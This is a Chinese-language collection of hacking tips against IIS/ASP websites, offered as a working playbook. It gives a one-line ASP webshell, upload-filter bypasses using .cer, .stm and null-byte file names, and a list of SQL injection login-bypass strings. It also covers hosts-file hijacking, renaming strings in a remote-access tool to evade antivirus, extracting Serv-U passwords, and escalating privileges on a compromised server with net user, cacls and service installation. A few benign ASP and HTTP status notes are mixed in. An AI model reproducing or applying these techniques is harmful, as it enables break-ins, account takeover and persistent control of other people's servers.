当被限制上传类型时 可以尝试shtm还有stm和shtml后缀(由ssinc.dll来解析) 内容为可以直接把conn.asp文件的内容显示出来了,用右键查看源代码可以看见。(shtm和stm)win2003和xp无效,因为IIS6如果不开启未知cgi后缀解析,显示的就是出现文件不存在。
在/system32/drivers/etc/下的Hosts文件[>win 2000],用记事本打开后,另起一行加入
127.0.0.1 www.xxx.com (域名劫持)
在程序上传shell过程中,程序不允许包含<% %>标记符号的内容的文件上传,比如蓝屏最小 的asp木马<%execute request("l")%>,我们来把他的标签换一下:
用UltraEdit以16进制方式打开SkSockServer.exe。
查找SkServer,将它们全部替换为8位的英文字母,比如AreaEach(只是举例子作参考,自己可以改成自己想要的,注意要8位,而且单词首字母大写) 。
截杀session
提升权限的第二个方法:改CMD的路径。我们先上传一个CMD.exe到一个EVERYBODY权限的地方
在shell模式下,不论什么后缀都是要当作.exe可执行文件来执行的
CONVERT e:/FS:NTFS
现在大部分html页面是动态页面放入了html模版而形成的静态页面,我们的攻击思路也就明确了,就是从这些静态页面里找出动态页面的地址,在找出注入点,我们需要的工具是sniffer。
首先看有没有后台登陆页面,用工具扫后台,然后在原代码里面看有没有asp?id=xxx的这样的,如果这些都具备了,那么就是ASP生成HTML的网站
先上传asp图片,在注入点使用dos改图片为木马。需要sa权限,用copy或ren命令
访问这个 IP ,返回"No web site is configured at this address.",初步判断是虚拟主机
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标 Serv-U 的目录是 "C:/Program Filesewfq4qrqtgy4635/Serv-U/" , 直接跳转目录。 看到了,马上修改 ServUDaemon.ini文件
view-source:查看web代码
c 无盘时进入c
总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入
and 1=(select @@VERSION) 这个是SQL判断版本号的语句 1'or'1'='1
密码:123' or '1'='1
1'or'1=1 'or'='or'
'or''=' " or "a"="a ') or ('a'='a ") or ("a"="a or 1=1-- ' or 'a'='a
inc结尾,IE就能够读取里面的所有信息
select语句在判断查询条件时,遇到或(or)操作就会忽略下面的与(and)操作
sql="select * from admin where username="&user&" and password="&pwd&""
sql="select * from admin where username='111'or'1=1' and password='pass'
sql="select * from admin where username='1'or'1'='1' and password='pass'
有时候是SQLSEVER服务器,但是它页面是HTML,你可以看一下里面有什么会员和下载连接,新闻连接的,你可以随便点一个,然后在查看里面搜索.ASP?然后就会给你一个,你把这个测试1=1,1=2看有没有注入点
开始菜单->运行->iexpress(输入运行这个命令)
然后呢就自己配置吧 其实就是利用系统自带的CAB打包压缩功能~
只要你合并的文件不被杀合并器就不会被杀~
c:/progra~1/winrar/rar.exe a d:/web/test/web1.rar d:/web/test/web1 dos下解压
可以把一些常用的ASP代码、函数放在一个.inc中,这样以后使用的时候在ASP文件中加上
就可以使用该ASP中的代码或函数了,效果和把文件的代码直接写在.asp中是一样的。这里的virtual表示是主机的虚拟目录。例如,当前.asp如果是http://www.myserver.com/mypath/myfile.asp,则该.inc文件为http://www.myserver.com/inc/comm/adovbs.inc。
1.相对路径 默认为调用它的那个asp所在目录下的common.asp
调用它的那个asp所在目录的上一级目录下的common.asp
2.绝对路径
默认为根目录下的common.asp
< !--#include virtual="test/common.asp"--> 根目录下的test目录下的common.asp
hidden字段作用
当这个HTML文件在网络浏览器上显示时,你只能在屏幕上看见一个Submit按钮,名为secret的隐藏区并未显示出来。然而当窗体按钮被按下时,值You cannot see me!被作为窗体内容的一部分发送了
在body中加入此代码 保存网页时将出错
,5秒后自动转到XXX.139.com
输入nc -vv *.*.*.* (端口号) ,然后再输入get 获得相关端口的信息
telnet x.x.x.x 80
回车两次。
cer文件和asp文件在iis中默认用同一个解释器来解释,就是说相对于用户,服务器怎么执行asp,就怎么执行cer。上传的扩展名为cer的asp木马,一样可以正常使用
instsrv 服务名 程序路径
echo Windows Registry Editor Version 5.00> d:/ip.reg
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/服务名]>> d:/ip.reg
echo "Description"=" 为移动媒体、驱动程序和库提供基层安全协议服务。">> d:/ip.reg
regedit /s d:/ip.reg
挂马的另1思路:把快捷方式的指向更改。
暴库的原理也就是,利用调用数据库出错的信息来暴出数据的路径
url编码就是一个字符ascii码的十六进制。不过稍微有些变动,需要在前面加上"%"。比如"/",它的ascii码是92,92的十六进制是5c,所以"/"的url编码就是%5c
我们同样可以在字串中构造“/0”,又在结尾处构造RAR,因为扩展名是从右读取的,它认为文件类型是rar,从而可以骗过扩展名验证可以上传,在保存时,文件名又是从左边读取的,当它遇到“/0”时,后面就都丢掉了,于是文件就被保存成我想要的updata.asp了
保存为1.stm文件 查看该页代码就能看到ok.asp的代码
浏览器在无法查别该文件是什么类型时就会第一时间尝试以HTML的格式来打开它了,这样刚好应了攻击者的要求。
RUNAT属性是指示出该脚本应当在Server端还是在Client(浏览器上)端实现
request对象对应于HTTP请求,response对象对应于HTTP响应
End方法会立即停止Active Server Pages的执行和相应结果
Clear方法是用来在不将缓存中的内容输出的前提下清空当前页的buffer,仅仅是使用了缓存输出的时候你才可以利用clear方法
■1xx信息:这种状态码主要是实验性的。
■2xx成功:这种状态信息是说明请求已经被成功接受并响应,例如:状态码200表示主页请求被完全成功的接受。
■3xx重定向。 这个状态码指示一些接受请求前必须了解的一些其后面进程的信息,例如:状态码301说明该主页已经转移到了其他地址,这时浏览器会自动转向新的地址。
■4xx客户端错误:这个状态码表示浏览器发出的是错误的请求,例如:404指的是浏览器请求的主页是不存在的。
5xx服务端错误:这种状态码表明服务器响应出现了问题,例如,503指当前服务端遇到了无法应付的错误。
在IIS中先执行INCLUDE语句而后才是VB脚本的执行
在Global.asa中不能有任何输出语句,无论是HTML的语法还是Response.Write()方法都是不行的,Global.asa是任何情况下也不能进行显示的。
你只需要在Global.asa中添加一些你希望执行的脚本,那么只要Session一创建,这些脚本就会自动执行
对于拿到了webshell 但不能找到某后台的登陆密码和帐户的 可以把相关的asp文件里面密码或帐户检测语句的=改为<> 即不等于
拿到webshell,不能运行程序,开telnet,如果开了防火墙连不上,用fpipe端口转向到以前开的端口,如果显示遗失对主机连接,在本机建一个对方主机上一样的用户名和密码,以他为身份运行cmd,telnet上去 ok
"cacls.exe d: /E /T /G everyone:F"权限取消
把本来调用的d:/web/database/cmd.exe改为
d:/web/database/su.exe "net user linzi 123 /add"
其它地方随便输,然后点执行
有了回显,再改调用cmd.exe,输入net user
我们在这里调用cmd.exe,但是没有给我们执行
的权限,所以当我们调用的东西是一个命令时,这时又因为我们又有调用的权限,所以我们的命令也
成功了
上传中文件名的关键字被过滤的情况 可以尝试把关键字换会大写
1.用WORD打开后,用快捷键Shift+F3将小写转成大写.
2.用火狐出品的"火狐--ASP代码变形器",或"Asp webshell 变形器1.5".
可以下载ServUAdmin.exe这个文件。用十六进制编辑器查看。里面有密码。还有端口。
完全没有加密。你直接打开。换成16进制,查找administrator看看。一般人家都是改密码和端口。用户名不改的。找用户名和密码或者端口其中一个就可以了。三个是连在一起的。
当得到管理员密码,而默认的管理入口修改了,可以尝试验证页面(如findaccout.asp)
提交 www.xxxx.com/findaccout.asp?name=管理员&pwd=密码
经过同一网关的机子 用交换机连接 现在机房一般都是交换环境
要是用hub(集线器)连接就是非交换环境
查看是否端口过滤:肉鸡上用netstat -an 然后扫描肉鸡 看结果是否相同
用百度暴库 比如bbs/data/